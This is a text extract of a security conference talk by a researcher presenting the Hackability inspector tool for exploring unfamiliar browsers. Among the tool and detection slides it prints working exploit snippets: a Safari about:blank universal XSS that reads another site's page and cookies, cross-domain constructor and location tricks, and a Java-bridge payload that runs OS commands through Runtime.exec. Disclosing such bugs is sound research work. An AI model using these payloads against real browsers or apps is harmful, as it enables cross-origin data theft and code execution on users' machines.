Exploitingunknownbrowsers
Exploitingunknownbrowsers
!1
About me
U+6158
• @garethheyes
!2
Hackability
!3
!4
Hackability
!5
Life before dev tools
!6
Life before dev tools
• No console! alert(variable);
!7
Missing dev tools
!8
New tool
James:We need an
inspector for
Hackability!
!9
!10
Introducing inspector
!11
!12
Inspecting HTML
!13
Filter objects
!14
!15
Detecting JS windows
• Detecting window
function isWindow(obj) {
try {
return!!(obj && obj.window === obj);
} catch(e){
return false;
}
}
!18
Demo
!19
!20
Security bugs
• Safari allowed setting of host cross domain
iframe.contentWindow.location.host='portswigger.net';
External domain:
<script>
parent(1);
top(2);
</script>
!21
Security bugs
• Leaking constructor enabled access to cross domain
objects on IE
iframe.contentWindow.closed.constructor.
constructor('alert(document.domain)')();
!22
Security bugs
• Safari about:blank UXSS
<script type="text/javascript">
function breakSop() {
var doc = window.frames.loader.document;
var html = '';
html += '<p>test</p><iframe src="http://www.amazon.co.uk/"
id="iframe" name="iframe"
onload="alert(window.frames.iframe.document.getElementsByTagName(\'body\')
[0].innerHTML);alert(window.frames.iframe.document.cookie);"></iframe>';
doc.body.innerHTML = html;
}
</script>
<iframe src="about:blank" name="loader" id="loader" onload="breakSop()">
</iframe>
!23
Security bugs
!24
!25
Security tests
• Setting variables cross domain
if(isCrossDomainWindow(obj)) {
try {
obj.setPropertyTest = 'test';
if(obj.setPropertyTest === 'test') {
output += '<div class="error">Can set properties on x-domain window</div>';
}
} catch(e){}}
•tryCheck
{
for data leaking in exceptions
test = obj.readPropertyTest;
} catch(e){
try {
e.toString().replace(/https?:\/\/[^\s'"]+/gi,function(domain){
domain = domain.replace(/[.]+$/,'');
domain = domain.replace(/\s+$/,'');
domain = domain.replace(/^\s+/,'');
if(domain !== location.origin) {
output += '<div class="error">Leaking x-domain origin
from iframe: '+escapeHTML(domain)+'</div>';
}
});
} catch(e){}
!26
Security tests
• How can you tell if you can call a cross domain function?
x-domain.com
[object Object]
!27
Security tests
• tryFunction
{
constructor leak checks
if(obj.constructor.constructor('return document.domain')()
!== document.domain) {
if(window.console) {
console.log('X-domain constructor found!');
}
output += '<div class="error">X-domain constructor found!</div>';
}
} catch(e){}
!28
!29
Detecting Java bridges
!30
Detecting Java bridges
• Detect bridge
function isJavaBridge(obj) {
try {
return!!(obj && obj.getClass && obj.hashCode);
} catch(e){
return false;
}
}
!31
Exploiting Java bridges
• Exploit using getClass and Runtime
var field=javaBridgeObject.getClass().forName('java.lang.Runtime')
.getDeclaredField('currentRuntime');
field.setAccessible(true);
var runtime = field.get(123);
if(/mac/i.test(navigator.platform)) {
runtime.exec('open -a Calculator');
} else if(/linux/i.test(navigator.platform)) {
runtime.exec('/bin/bash -c gnome-calculator');
} else if(/win/i.test(navigator.platform)) {
runtime.exec('calc');
}
!32
Exploiting Java bridges
• E.g.
bridge.getTestObject().field.getClass();
!33
!34
Demo
!35
Advanced inspection
!36
Advanced inspection
!37
Use cases
!38
Shortcuts and commands
• Up and down arrows cycle through history like dev tools, Up/
Down + Alt works in multiline mode
!39
Conclusion
!40
Life before inspector
!41
Thanks. Questions?
Demo:
portswigger-labs.net/hackability/inspector
Github:
github.com/portswigger/hackability
Twitter:
twitter.com/garethheyes
!42